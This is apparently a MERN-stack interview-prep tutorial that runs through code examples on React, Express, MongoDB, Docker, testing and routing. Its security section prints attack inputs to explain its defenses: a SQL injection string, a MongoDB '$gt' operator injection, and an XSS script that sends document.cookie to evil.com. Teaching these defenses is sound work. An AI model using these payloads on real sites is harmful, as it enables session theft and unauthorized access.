// Sort options
let sortOption = { createdAt: -1 }; // Default: newest first
if (sort === "price_asc") sortOption = { price: 1 };
if (sort === "price_desc") sortOption = { price: -1 };
if (sort === "name_asc") sortOption = { name: 1 };
if (sort === "rating_desc") sortOption = { rating: -1 };
// Pagination
const skip = (Number(page) - 1) * Number(limit);
// Execute query
const [products, total] = await Promise.all([
Product.find(query).sort(sortOption).skip(skip).limit(Number(limit)).lean(),
Product.countDocuments(query)
]);
res.json({
products,
pagination: {
currentPage: Number(page),
totalPages: Math.ceil(total / Number(limit)),
totalItems: total,
itemsPerPage: Number(limit)
}
});
} catch (err) {
res.status(500).json({ message: err.message });
}
});
import { useState, useEffect, useCallback } from "react";
function ProductSearch() {
const [products, setProducts] = useState([]);
const [search, setSearch] = useState("");
const [category, setCategory] = useState("All");
const [priceRange, setPriceRange] = useState({ min: "", max: "" });
const [sort, setSort] = useState("newest");
const [page, setPage] = useState(1);
const [loading, setLoading] = useState(false);
const [totalPages, setTotalPages] = useState(1);
// Debounce search - wait 500ms after user stops typing
const [debouncedSearch, setDebouncedSearch] = useState(search);
useEffect(() => {
const timer = setTimeout(() => setDebouncedSearch(search), 500);
return () => clearTimeout(timer);
}, [search]);
// Fetch when filters change
useEffect(() => {
const fetchProducts = async () => {
setLoading(true);
try {
const params = new URLSearchParams({
search: debouncedSearch,
category,
minPrice: priceRange.min,
maxPrice: priceRange.max,
sort,
page,
limit: 12
});
const res = await fetch(`/api/products?${params}`);
const data = await res.json();
setProducts(data.products);
setTotalPages(data.pagination.totalPages);
} finally {
setLoading(false);
}
};
fetchProducts();
}, [debouncedSearch, category, priceRange, sort, page]);
// Reset to page 1 when filters change
useEffect(() => { setPage(1); }, [debouncedSearch, category, priceRange, sort]);
return (
<div>
<input
placeholder="Search products..."
value={search}
onChange={e => setSearch(e.target.value)}
/>
<select value={sort} onChange={e => setSort(e.target.value)}>
<option value="newest">Newest First</option>
<option value="price_asc">Price: Low to High</option>
<option value="price_desc">Price: High to Low</option>
</select>
{/* Products grid */}
{loading ? <p>Loading...</p> : products.map(p => <ProductCard key={p._id} product={p} />)}
{/* Pagination */}
{Array.from({ length: totalPages }, (_, i) => (
<button key={i+1} onClick={() => setPage(i+1)} disabled={page === i+1}>{i+1}</button>
))}
</div>
);
}
💡 Debouncing Tip: Always debounce search input! Without it, an API call fires for every keystroke (1000ms text = 1000 API calls). With 500ms debounce, only one call fires when user stops typing.
// Install: npm install multer cloudinary multer-storage-cloudinary
// config/cloudinary.js
const cloudinary = require("cloudinary").v2;
cloudinary.config({
cloud_name: process.env.CLOUD_NAME,
api_key: process.env.CLOUD_API_KEY,
api_secret: process.env.CLOUD_API_SECRET
});
// Multer-Cloudinary Storage
const { CloudinaryStorage } = require("multer-storage-cloudinary");
const storage = new CloudinaryStorage({
cloudinary,
params: {
folder: "mern-uploads", // Cloudinary folder name
allowed_formats: ["jpg", "jpeg", "png", "pdf"],
transformation: [{ width: 500, height: 500, crop: "limit" }] // Resize
}
});
const upload = multer({
storage,
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB limit
fileFilter: (req, file, cb) => {
const allowed = ["image/jpeg", "image/png", "image/webp", "application/pdf"];
if (allowed.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error("Invalid file type. Only JPG, PNG, and PDF allowed!"), false);
}
}
});
module.exports = upload;
// routes/upload.js
const upload = require("../config/cloudinary");
// Single file upload
router.post("/upload/single", upload.single("image"), async (req, res) => {
try {
if (!req.file) return res.status(400).json({ message: "No file uploaded" });
res.status(200).json({
message: "File uploaded successfully!",
url: req.file.path, // Cloudinary URL
publicId: req.file.filename
});
} catch (err) {
res.status(500).json({ message: err.message });
}
});
// Multiple files upload
router.post("/upload/multiple", upload.array("images", 5), async (req, res) => {
const urls = req.files.map(file => file.path);
res.json({ urls });
});
// Profile picture upload with user update
router.put("/user/avatar", authMiddleware, upload.single("avatar"), async (req, res) => {
try {
// Delete old image from Cloudinary
if (req.user.avatarPublicId) {
await cloudinary.uploader.destroy(req.user.avatarPublicId);
}
await User.findByIdAndUpdate(req.user.userId, {
avatar: req.file.path,
avatarPublicId: req.file.filename
});
res.json({ avatar: req.file.path });
} catch (err) {
res.status(500).json({ message: err.message });
}
});
function ProfileUpload() {
const [preview, setPreview] = useState(null);
const [uploading, setUploading] = useState(false);
const [progress, setProgress] = useState(0);
const handleFileSelect = (e) => {
const file = e.target.files[0];
if (!file) return;
// Preview before upload
const reader = new FileReader();
reader.onload = () => setPreview(reader.result);
reader.readAsDataURL(file);
};
const handleUpload = async (e) => {
const file = e.target.files[0];
if (!file) return;
const formData = new FormData();
formData.append("image", file);
setUploading(true);
try {
const response = await axios.post("/api/upload/single", formData, {
headers: { "Content-Type": "multipart/form-data" },
onUploadProgress: (progressEvent) => {
const percent = Math.round(
(progressEvent.loaded * 100) / progressEvent.total
);
setProgress(percent);
}
});
console.log("Uploaded URL:", response.data.url);
} finally {
setUploading(false);
}
};
return (
<div>
<input type="file" accept="image/*" onChange={handleFileSelect} />
{preview && <img src={preview} alt="Preview" style={{ width: 200 }} />}
{uploading && <progress value={progress} max={100} />}
</div>
);
}
Docker is a containerization platform that packages your application and its dependencies into a container – a lightweight, standalone, executable unit that runs consistently on any machine.
# Backend Dockerfile
FROM node:18-alpine # Base image
WORKDIR /app # Set working directory
COPY package*.json ./ # Copy package files first
RUN npm install # Install dependencies (cached if package.json unchanged)
COPY . . # Copy source code
EXPOSE 5000 # Expose port
CMD ["node", "server.js"] # Start command
# Frontend Dockerfile (Multi-stage build)
# Stage 1: Build
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN npm run build # Creates /app/build
# Stage 2: Serve with Nginx
FROM nginx:alpine
COPY --from=builder /app/build /usr/share/nginx/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
# docker-compose.yml
version: "3.8"
services:
mongodb:
image: mongo:6.0
ports:
- "27017:27017"
volumes:
- mongo_data:/data/db # Persist data
environment:
MONGO_INITDB_ROOT_USERNAME: admin
MONGO_INITDB_ROOT_PASSWORD: password
backend:
build: ./backend
ports:
- "5000:5000"
depends_on:
- mongodb # Wait for MongoDB to start
environment:
MONGODB_URI: mongodb://admin:password@mongodb:27017/mernapp
JWT_SECRET: your_secret
volumes:
- ./backend:/app # Hot reload in development
- /app/node_modules
frontend:
build: ./frontend
ports:
- "3000:80"
depends_on:
- backend
volumes:
mongo_data:
docker-compose up --build # Start all services
docker-compose down # Stop all services
docker-compose logs backend # View logs
💡 Why Docker in MNCs? "It works on my machine" problem is solved. The same container runs identically on developer laptop, testing server, and production!
When you click an element, the event doesn't just trigger on that element. It travels through the DOM in 3 phases.
HTML Structure:
<div id="grandparent"> ← 3. Event reaches here (bubbling phase)
<div id="parent"> ← 2. Then travels here
<button id="child"> ← 1. User clicks here (target)
Click Me
</button>
</div>
</div>
// Phase 1: Capturing (top → down)
// Window → Document → HTML → Body → Grandparent → Parent → Button
// Phase 2: Target (element itself)
// Button (click event fires)
// Phase 3: Bubbling (bottom → up)
// Button → Parent → Grandparent → Body → HTML → Document → Window
document.getElementById("grandparent").addEventListener("click", () => {
console.log("Grandparent clicked");
});
document.getElementById("parent").addEventListener("click", () => {
console.log("Parent clicked");
});
document.getElementById("child").addEventListener("click", () => {
console.log("Child clicked");
});
// When button is clicked, output:
// "Child clicked" (target)
// "Parent clicked" (bubbling up!)
// "Grandparent clicked" (still bubbling!)
document.getElementById("child").addEventListener("click", (event) => {
event.stopPropagation(); // Stops event from bubbling up!
console.log("Only Child clicked");
});
// Now only "Child clicked" is logged
// Third parameter true = capturing phase
document.getElementById("grandparent").addEventListener("click", () => {
console.log("Grandparent - CAPTURING");
}, true); // ← true enables capturing
document.getElementById("child").addEventListener("click", () => {
console.log("Child - Bubbling");
});
// Output when button clicked:
// "Grandparent - CAPTURING" (capturing fires first!)
// "Child - Bubbling"
// ❌ Adding listener to each button (inefficient for 100+ buttons)
document.querySelectorAll(".delete-btn").forEach(btn => {
btn.addEventListener("click", handleDelete);
});
// ✅ Event Delegation - one listener on parent handles all children!
document.getElementById("product-list").addEventListener("click", (e) => {
if (e.target.classList.contains("delete-btn")) {
const productId = e.target.dataset.id;
deleteProduct(productId);
}
});
// Works even for dynamically added buttons!
💡 Interview Tip: Event Delegation is heavily used in performance optimization. One parent listener is much better than many individual listeners!
Checks both value AND type. No type conversion.
Checks only value. Performs type coercion (auto type conversion) before comparing.
// === Strict Equality
console.log(5 === 5); // true (number vs number, same value)
console.log(5 === "5"); // false (number vs string, different types!)
console.log(true === 1); // false (boolean vs number)
console.log(null === undefined); // false (different types)
// == Loose Equality (type coercion happens!)
console.log(5 == "5"); // true ("5" converted to 5)
console.log(0 == false); // true (false converted to 0)
console.log(0 == ""); // true ("" converted to 0)
console.log(null == undefined); // true (special case!)
console.log(null == 0); // false (null only == undefined)
console.log("" == false); // true (both become 0)
// Objects are compared by REFERENCE (both == and ===)
const a = { name: "Priya" };
const b = { name: "Priya" };
const c = a;
console.log(a === b); // false (different references!)
console.log(a === c); // true (same reference)
console.log(a == b); // false (same for ==)
// NaN is never equal to itself
console.log(NaN === NaN); // false (special rule!)
console.log(Number.isNaN(NaN)); // true ✅ (use this instead)
undefined == null → true
false == 0 → true
false == "" → true
false == "0" → false (!"0" is false, "0" is truthy!)
"" == 0 → true
"1" == 1 → true
null == 0 → false
null == "" → false
💡 ESLint Rule: "eqeqeq": "error" – This enforces === throughout your codebase!
A closure is a function that remembers the variables from its outer scope even after the outer function has finished executing. In other words, a function "closes over" its surrounding variables.
function outerFunction(x) {
// x is in outer scope
function innerFunction(y) {
return x + y; // innerFunction closes over x
}
return innerFunction; // Return the function (not called!)
}
const addFive = outerFunction(5); // x = 5, outer function done
const addTen = outerFunction(10); // x = 10
console.log(addFive(3)); // 8 (5 + 3) - x is still remembered!
console.log(addTen(3)); // 13 (10 + 3) - different closure!
function createBankAccount(initialBalance) {
let balance = initialBalance; // Private! Cannot be accessed directly
return {
deposit: (amount) => {
balance += amount;
console.log(`Deposited ₹${amount}. Balance: ₹${balance}`);
},
withdraw: (amount) => {
if (amount > balance) return console.log("Insufficient funds!");
balance -= amount;
console.log(`Withdrew ₹${amount}. Balance: ₹${balance}`);
},
getBalance: () => balance
};
}
const account = createBankAccount(1000);
account.deposit(500); // Balance: ₹1500
account.withdraw(200); // Balance: ₹1300
console.log(account.balance); // undefined - private!
console.log(account.getBalance()); // 1300 ✅
function createMultiplier(factor) {
return (number) => number * factor; // Closes over factor
}
const double = createMultiplier(2);
const triple = createMultiplier(3);
const taxCalculator = createMultiplier(1.18); // 18% GST
console.log(double(5)); // 10
console.log(triple(5)); // 15
console.log(taxCalculator(1000)); // 1180
function TodoList() {
const [todos, setTodos] = useState(["Task 1", "Task 2", "Task 3"]);
// handleDelete closes over "todos" and "setTodos"!
const handleDelete = (index) => {
setTodos(todos.filter((_, i) => i !== index));
};
return (
<ul>
{todos.map((todo, index) => (
<li key={index}>
{todo}
<button onClick={() => handleDelete(index)}>Delete</button>
{/* This anonymous function closes over "index" */}
</li>
))}
</ul>
);
}
💡 Interview Definition: "A closure is when an inner function has access to the outer function's variables even after the outer function has returned. JavaScript achieves this through lexical scoping and the scope chain."
npm install --save-dev jest supertest
// package.json
{
"scripts": {
"test": "jest --forceExit",
"test:coverage": "jest --coverage"
},
"jest": {
"testEnvironment": "node"
}
}
// tests/setup.js - Use in-memory MongoDB for testing
const mongoose = require("mongoose");
const { MongoMemoryServer } = require("mongodb-memory-server");
// npm install --save-dev mongodb-memory-server
let mongoServer;
beforeAll(async () => {
mongoServer = await MongoMemoryServer.create();
await mongoose.connect(mongoServer.getUri());
});
afterAll(async () => {
await mongoose.disconnect();
await mongoServer.stop();
});
afterEach(async () => {
// Clean up data between tests
const collections = Object.keys(mongoose.connection.collections);
for (const collection of collections) {
await mongoose.connection.collections[collection].deleteMany();
}
});
// tests/user.test.js
const request = require("supertest");
const app = require("../server"); // Your Express app
const User = require("../models/User");
describe("User API Tests", () => {
// Test POST /api/users (Register)
describe("POST /api/auth/register", () => {
test("should register a new user successfully", async () => {
const res = await request(app)
.post("/api/auth/register")
.send({
name: "Test User",
email: "test@example.com",
password: "password123"
});
expect(res.status).toBe(201);
expect(res.body).toHaveProperty("message", "User registered successfully");
// Verify user is in database
const user = await User.findOne({ email: "test@example.com" });
expect(user).toBeTruthy();
expect(user.name).toBe("Test User");
});
test("should return 400 for duplicate email", async () => {
await User.create({ name: "Existing", email: "test@example.com", password: "pass" });
const res = await request(app)
.post("/api/auth/register")
.send({ name: "New", email: "test@example.com", password: "pass123" });
expect(res.status).toBe(400);
expect(res.body.message).toMatch(/already exists/i);
});
});
// Test GET /api/users (with auth)
describe("GET /api/users", () => {
let token;
beforeEach(async () => {
// Create user and get token
await request(app)
.post("/api/auth/register")
.send({ name: "Admin", email: "admin@test.com", password: "admin123" });
const loginRes = await request(app)
.post("/api/auth/login")
.send({ email: "admin@test.com", password: "admin123" });
token = loginRes.body.token;
});
test("should return users when authenticated", async () => {
const res = await request(app)
.get("/api/users")
.set("Authorization", `Bearer ${token}`);
expect(res.status).toBe(200);
expect(Array.isArray(res.body)).toBe(true);
});
test("should return 401 without token", async () => {
const res = await request(app).get("/api/users");
expect(res.status).toBe(401);
});
});
});
# Create React App includes Jest by default
# React Testing Library is also included
npm install --save-dev @testing-library/react @testing-library/jest-dom @testing-library/user-event
// components/Button.test.js
import { render, screen, fireEvent } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import Button from "./Button";
describe("Button Component", () => {
// Test 1: Renders correctly
test("renders button with correct text", () => {
render(<Button label="Click Me" onClick={() => {}} />);
const button = screen.getByText("Click Me");
expect(button).toBeInTheDocument();
});
// Test 2: Click handler
test("calls onClick when clicked", () => {
const mockHandler = jest.fn(); // Mock function
render(<Button label="Submit" onClick={mockHandler} />);
const button = screen.getByRole("button");
fireEvent.click(button);
expect(mockHandler).toHaveBeenCalledTimes(1);
});
// Test 3: Disabled state
test("does not call onClick when disabled", () => {
const mockHandler = jest.fn();
render(<Button label="Submit" onClick={mockHandler} disabled />);
const button = screen.getByRole("button");
expect(button).toBeDisabled();
fireEvent.click(button);
expect(mockHandler).not.toHaveBeenCalled();
});
});
// components/UserList.test.js
import { render, screen, waitFor } from "@testing-library/react";
import UserList from "./UserList";
// Mock the API module
jest.mock("../api/axiosConfig");
import api from "../api/axiosConfig";
describe("UserList Component", () => {
test("shows loading state initially", () => {
api.get.mockResolvedValueOnce({ data: [] });
render(<UserList />);
expect(screen.getByText("Loading...")).toBeInTheDocument();
});
test("renders users after successful fetch", async () => {
const mockUsers = [
{ _id: "1", name: "Priya", email: "priya@test.com" },
{ _id: "2", name: "Ravi", email: "ravi@test.com" }
];
api.get.mockResolvedValueOnce({ data: mockUsers });
render(<UserList />);
await waitFor(() => {
expect(screen.getByText("Priya")).toBeInTheDocument();
expect(screen.getByText("Ravi")).toBeInTheDocument();
});
});
test("shows error when fetch fails", async () => {
api.get.mockRejectedValueOnce(new Error("Network Error"));
render(<UserList />);
await waitFor(() => {
expect(screen.getByText(/error/i)).toBeInTheDocument();
});
});
});
test("submits form with user data", async () => {
const user = userEvent.setup();
const mockSubmit = jest.fn();
render(<LoginForm onSubmit={mockSubmit} />);
await user.type(screen.getByLabelText("Email"), "test@example.com");
await user.type(screen.getByLabelText("Password"), "password123");
await user.click(screen.getByRole("button", { name: "Login" }));
expect(mockSubmit).toHaveBeenCalledWith({
email: "test@example.com",
password: "password123"
});
});
npm test # Watch mode
npm test -- --coverage # Coverage report
import { memo } from "react";
// Without memo: re-renders every time parent renders
// With memo: only re-renders if props change
const ProductCard = memo(({ product, onAddToCart }) => {
console.log("ProductCard rendered:", product.name);
return (
<div>
<h3>{product.name}</h3>
<p>₹{product.price}</p>
<button onClick={() => onAddToCart(product)}>Add to Cart</button>
</div>
);
});
// Combine with useCallback for handler functions!
const handleAddToCart = useCallback((product) => {
dispatch(addItem(product));
}, [dispatch]);
import { lazy, Suspense } from "react";
// ❌ Without lazy: ALL components loaded at start
import Dashboard from "./pages/Dashboard";
import Reports from "./pages/Reports";
// ✅ With lazy: loads only when navigated to
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Reports = lazy(() => import("./pages/Reports"));
function App() {
return (
<Suspense fallback={<div>Loading...</div>}>
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/reports" element={<Reports />} />
</Routes>
</Suspense>
);
}
// Without virtualization: 10,000 DOM nodes = very slow!
// With react-window: only renders visible items!
import { FixedSizeList } from "react-window";
function UserList({ users }) {
const Row = ({ index, style }) => (
<div style={style}> {/* style contains position/size info */}
<p>{users[index].name}</p>
</div>
);
return (
<FixedSizeList
height={600} // Container height
itemCount={users.length}
itemSize={60} // Each row height
width="100%"
>
{Row}
</FixedSizeList>
);
}
// Lazy load images
<img
src={product.image}
alt={product.name}
loading="lazy" // Browser native lazy loading
width={300}
height={200}
/>
// Use WebP format for smaller file size
// Use appropriate image sizes (don't load 2000px image for 200px element)
💡 Interview Answer Structure: "I profile first with React DevTools, identify the performance bottleneck, then apply the appropriate optimization. Common solutions: React.memo for component memoization, lazy loading for code splitting, and virtualization for long lists."
// Vulnerable SQL query
const query = `SELECT * FROM users WHERE email = "${email}" AND password = "${password}"`;
// Attacker inputs email: admin@mail.com' OR '1'='1
// Query becomes: SELECT * FROM users WHERE email = "admin@mail.com" OR "1"="1"
// This returns ALL users! Attacker gets admin access! 💀
// Vulnerable MongoDB code (without Mongoose validation)
// Attacker sends: { "email": { "$gt": "" }, "password": { "$gt": "" } }
app.post("/login", async (req, res) => {
// ❌ DANGEROUS - directly using req.body in query!
const user = await User.findOne({
email: req.body.email, // Could be { "$gt": "" }
password: req.body.password // Could be { "$gt": "" }
});
// $gt: "" means "greater than empty string" = matches everything!
});
// 1. Use Mongoose (auto-casts and validates types)
// Mongoose expects a string, so { "$gt": "" } is rejected
// 2. Explicitly check input types
app.post("/login", async (req, res) => {
const { email, password } = req.body;
// Type checking
if (typeof email !== "string" || typeof password !== "string") {
return res.status(400).json({ message: "Invalid input" });
}
const user = await User.findOne({ email: email.toLowerCase() });
// ...
});
// 3. Input Validation with express-validator
const { body } = require("express-validator");
[
body("email").isEmail().normalizeEmail(),
body("password").isLength({ min: 6 }).trim()
]
// 4. Use $eq operator explicitly for safety
const user = await User.findOne({
email: { $eq: req.body.email } // Explicit equality check
});
// 5. Sanitize inputs - mongo-sanitize
const mongoSanitize = require("express-mongo-sanitize");
app.use(mongoSanitize()); // Removes $ and . from inputs automatically
// 6. Never expose raw MongoDB errors to users
try {
const user = await User.findOne({ email });
} catch (err) {
// ❌ res.json({ error: err.message }); // Don't expose DB errors!
res.status(500).json({ message: "Login failed" }); // ✅ Generic message
}
💡 Key Points for Interview:
Cross-Site Scripting (XSS) is a security vulnerability where attackers inject malicious JavaScript into web pages, which then executes in other users' browsers. It can steal cookies, session tokens, or perform actions on behalf of the user.
// Attacker submits this as a comment:
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>
// If stored and displayed without escaping → Every user who sees the
// comment sends their cookies to the attacker! 💀
// 1. React auto-escapes JSX (built-in protection!)
// ✅ Safe - React escapes by default
<p>{userInput}</p> // Even if userInput = "<script>...", it's just text
// ❌ NEVER use dangerouslySetInnerHTML with user input!
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// 2. Sanitize HTML if you MUST render HTML (use DOMPurify)
import DOMPurify from "dompurify";
const cleanHTML = DOMPurify.sanitize(userInput);
<div dangerouslySetInnerHTML={{ __html: cleanHTML }} />
// 3. Backend - Sanitize input before storing in MongoDB
npm install express-validator
const { body, validationResult } = require("express-validator");
router.post("/comment", [
body("content")
.trim()
.escape() // Converts < to <, etc.
.isLength({ min: 1, max: 500 })
], async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Safe to save
});
// 4. Set Content Security Policy (CSP) header
const helmet = require("helmet");
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // Only load scripts from same origin
styleSrc: ["'self'", "https://fonts.googleapis.com"]
}
}));
// 5. HttpOnly Cookies (prevent JS from reading cookies)
res.cookie("token", jwtToken, {
httpOnly: true, // ← JS cannot read this cookie
secure: true, // ← Only sent over HTTPS
sameSite: "strict"
});
// Custom Error Class
class AppError extends Error {
constructor(message, statusCode) {
super(message);
this.statusCode = statusCode;
this.isOperational = true; // Known error (vs bug)
}
}
// Async wrapper to avoid try/catch in every route
const catchAsync = (fn) => {
return (req, res, next) => {
Promise.resolve(fn(req, res, next)).catch(next); // Pass error to next()
};
};
// Route using catchAsync
router.get("/users/:id", catchAsync(async (req, res, next) => {
const user = await User.findById(req.params.id);
if (!user) {
return next(new AppError("User not found", 404));
}
res.json(user);
}));
// Global Error Handler (MUST be last middleware, 4 params)
app.use((err, req, res, next) => {
err.statusCode = err.statusCode || 500;
err.message = err.message || "Internal Server Error";
// Mongoose Validation Error
if (err.name === "ValidationError") {
const errors = Object.values(err.errors).map(e => e.message);
return res.status(400).json({ message: "Validation Error", errors });
}
// Duplicate key error (MongoDB)
if (err.code === 11000) {
const field = Object.keys(err.keyValue)[0];
return res.status(400).json({ message: `${field} already exists` });
}
// JWT Error
if (err.name === "JsonWebTokenError") {
return res.status(401).json({ message: "Invalid token" });
}
res.status(err.statusCode).json({
status: "error",
message: err.message
});
});
// Error Boundary Component (for unexpected UI errors)
import { Component } from "react";
class ErrorBoundary extends Component {
state = { hasError: false, error: null };
static getDerivedStateFromError(error) {
return { hasError: true, error };
}
componentDidCatch(error, info) {
console.error("Error caught by boundary:", error, info);
// Log to error service (Sentry, etc.)
}
render() {
if (this.state.hasError) {
return (
<div>
<h2>Something went wrong!</h2>
<button onClick={() => this.setState({ hasError: false })}>
Try Again
</button>
</div>
);
}
return this.props.children;
}
}
// Usage
<ErrorBoundary>
<App />
</ErrorBoundary>
// API Error handling in components
const fetchData = async () => {
try {
const response = await api.get("/products");
setProducts(response.data);
} catch (error) {
if (error.response) {
// Server responded with error status
setError(error.response.data.message);
} else if (error.request) {
// Request made but no response (network error)
setError("Network error. Check your connection.");
} else {
// Something else went wrong
setError("An unexpected error occurred.");
}
}
};
The complete flow of a MERN application:
User Browser
│
▼
React.js (Frontend - Port 3000)
│ HTTP Requests (Axios/Fetch)
▼
Express.js + Node.js (Backend API - Port 5000)
│ Mongoose Queries
▼
MongoDB (Database - Port 27017)
const express = require("express");
const mongoose = require("mongoose");
const cors = require("cors");
const dotenv = require("dotenv");
dotenv.config();
const app = express();
// Middleware
app.use(cors({ origin: process.env.CLIENT_URL }));
app.use(express.json());
// MongoDB Connection
mongoose.connect(process.env.MONGODB_URI)
.then(() => console.log("✅ MongoDB Connected"))
.catch(err => console.error("❌ MongoDB Error:", err));
// Routes
app.use("/api/users", require("./routes/users"));
app.use("/api/auth", require("./routes/auth"));
app.use("/api/products", require("./routes/products"));
const PORT = process.env.PORT || 5000;
app.listen(PORT, () => console.log(`🚀 Server running on port ${PORT}`));
// Install: npm install axios
// api/axiosConfig.js - Centralized API config
import axios from "axios";
const api = axios.create({
baseURL: process.env.REACT_APP_API_URL || "http://localhost:5000/api",
});
// Request interceptor - add auth token to every request
api.interceptors.request.use((config) => {
const token = localStorage.getItem("token");
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
// Response interceptor - handle errors globally
api.interceptors.response.use(
(response) => response,
(error) => {
if (error.response?.status === 401) {
localStorage.removeItem("token");
window.location.href = "/login";
}
return Promise.reject(error);
}
);
export default api;
// Using in a component
import api from "./api/axiosConfig";
function ProductList() {
const [products, setProducts] = useState([]);
useEffect(() => {
const fetchProducts = async () => {
const response = await api.get("/products");
setProducts(response.data);
};
fetchProducts();
}, []);
}
# Backend .env
PORT=5000
MONGODB_URI=mongodb://localhost:27017/mernapp
JWT_SECRET=your_super_secret_key_here
CLIENT_URL=http://localhost:3000
# Frontend .env (React)
REACT_APP_API_URL=http://localhost:5000/api
{
"proxy": "http://localhost:5000"
// Now /api/users → http://localhost:5000/api/users automatically!
}
JavaScript has 3 ways to handle async operations, evolving from Callbacks → Promises → Async/Await
// ❌ Callback Hell (Pyramid of Doom)
getUser(userId, function(err, user) {
if (err) return handleError(err);
getOrders(user.id, function(err, orders) {
if (err) return handleError(err);
getOrderDetails(orders[0].id, function(err, details) {
if (err) return handleError(err);
// 3 levels deep... keeps going!
console.log(details);
});
});
});
// A Promise has 3 states: Pending → Fulfilled / Rejected
// Creating a Promise
const fetchData = new Promise((resolve, reject) => {
const success = true;
if (success) {
resolve({ data: "user data" }); // Success!
} else {
reject(new Error("Failed to fetch")); // Failure
}
});
// Using Promise
fetchData
.then(result => console.log(result.data)) // Success handler
.catch(err => console.error(err.message)) // Error handler
.finally(() => console.log("Done!")); // Always runs
// Promise Chaining (vs callback hell)
getUser(userId)
.then(user => getOrders(user.id)) // Returns new Promise
.then(orders => getDetails(orders[0].id))
.then(details => console.log(details))
.catch(err => console.error(err)); // One catch handles all errors!
// Promise.all - Run multiple promises concurrently
const [users, products, orders] = await Promise.all([
fetch("/api/users").then(r => r.json()),
fetch("/api/products").then(r => r.json()),
fetch("/api/orders").then(r => r.json())
]);
// All 3 requests happen at the SAME TIME (parallel!) – much faster!
// Async function always returns a Promise
async function getUserData(userId) {
try {
// await pauses execution until Promise resolves
const user = await User.findById(userId);
if (!user) throw new Error("User not found");
const orders = await Order.find({ userId: user._id });
const products = await Product.find({ _id: { $in: orders.map(o => o.productId) } });
return { user, orders, products };
} catch (error) {
console.error("Error:", error.message);
throw error; // Re-throw for route handler to catch
}
}
// In Express route
router.get("/users/:id", async (req, res) => {
try {
const data = await getUserData(req.params.id);
res.json(data);
} catch (err) {
res.status(500).json({ message: err.message });
}
});
💡 Key Rule: Always use try/catch with async/await! Without it, unhandled promise rejections can crash your Node.js server.
npm (Node Package Manager) is the world's largest software registry. It helps you install, manage, and share JavaScript packages/libraries.
# Initialize a new project
npm init -y # Creates package.json with defaults
# Install packages
npm install express # Install and add to dependencies
npm install nodemon --save-dev # Dev dependency (not in production)
npm install -g nodemon # Install globally
# Install all packages from package.json
npm install
# Remove package
npm uninstall express
# Update packages
npm update
npm update express
# Check outdated packages
npm outdated
# Run scripts defined in package.json
npm start
npm run dev
npm test
# View package info
npm info express
{
"name": "mern-app",
"version": "1.0.0",
"description": "My MERN Stack Application",
"main": "server.js",
"scripts": {
"start": "node server.js",
"dev": "nodemon server.js",
"test": "jest"
},
"dependencies": {
// Needed in production
"express": "^4.18.2",
"mongoose": "^7.5.0",
"jsonwebtoken": "^9.0.2",
"bcryptjs": "^2.4.3",
"cors": "^2.8.5",
"dotenv": "^16.3.1"
},
"devDependencies": {
// Only needed during development
"nodemon": "^3.0.1",
"jest": "^29.0.0"
}
}
// "express": "^4.18.2"
// Major.Minor.Patch
// 4 .18 .2
// ^ caret = allows minor and patch updates (4.x.x)
// ~ tilde = allows only patch updates (4.18.x)
// exact = "4.18.2" - no updates
// CommonJS (traditional Node.js way)
const express = require("express");
const { Router } = require("express");
const path = require("path");
// Export
module.exports = { myFunction, myVariable };
// or
module.exports = myClass;
// ES Modules (modern way, same as browser JavaScript)
import express from "express";
import { Router } from "express";
import path from "path";
// Named export
export const myFunction = () => {};
export const myVariable = 42;
// Default export
export default class MyClass {}
| Feature | require() (CJS) | import (ESM) |
|---|---|---|
| Loading | Synchronous (blocking) | Asynchronous |
| When loaded | Runtime (dynamic) | Parse time (static) |
| Tree shaking | ❌ No | ✅ Yes (bundlers) |
| Top-level await | ❌ No | ✅ Yes |
| Default in Node | ✅ Yes | Need "type":"module" in package.json |
// package.json
{
"type": "module" // Add this line
}
// Then use .mjs extension OR "type": "module"
// Now you can use import/export in Node.js!
// Dynamic import - loads module when needed
const module = await import("./myModule.js");
// Useful for code splitting and lazy loading
💡 2025 Trend: Modern MERN projects use ES Modules (import/export). Make sure your package.json has "type": "module" or use .mjs files.
React Router is a standard routing library for React. It enables Client-Side Routing – navigating between pages without full page reload (SPA behavior).
npm install react-router-dom
// App.js
import { BrowserRouter, Routes, Route, Navigate } from "react-router-dom";
import Home from "./pages/Home";
import About from "./pages/About";
import Users from "./pages/Users";
import UserDetail from "./pages/UserDetail";
import NotFound from "./pages/NotFound";
import Login from "./pages/Login";
import Dashboard from "./pages/Dashboard";
import PrivateRoute from "./components/PrivateRoute";
function App() {
return (
<BrowserRouter>
<Routes>
{/* Public Routes */}
<Route path="/" element={<Home />} />
<Route path="/about" element={<About />} />
<Route path="/login" element={<Login />} />
{/* Dynamic Route - :id is a parameter */}
<Route path="/users" element={<Users />} />
<Route path="/users/:id" element={<UserDetail />} />
{/* Protected Route */}
<Route path="/dashboard" element={
<PrivateRoute>
<Dashboard />
</PrivateRoute>
} />
{/* Redirect */}
<Route path="/home" element={<Navigate to="/" />} />
{/* 404 Not Found */}
<Route path="*" element={<NotFound />} />
</Routes>
</BrowserRouter>
);
}
import { Link, NavLink, useNavigate, useParams, useLocation } from "react-router-dom";
function NavBar() {
const navigate = useNavigate();
return (
<nav>
<Link to="/">Home</Link>
<NavLink to="/about" className={({ isActive }) => isActive ? "active" : ""}>About</NavLink>
<button onClick={() => navigate("/login")}>Login</button>
<button onClick={() => navigate(-1)}>Go Back</button>
</nav>
);
}
// Get URL parameters
function UserDetail() {
const { id } = useParams(); // Gets :id from URL
const location = useLocation(); // Current URL info
// Fetch user by id...
return <h1>User ID: {id}</h1>;
}
// Protected Route Component
function PrivateRoute({ children }) {
const isLoggedIn = localStorage.getItem("token");
return isLoggedIn ? children : <Navigate to="/login" />;
}
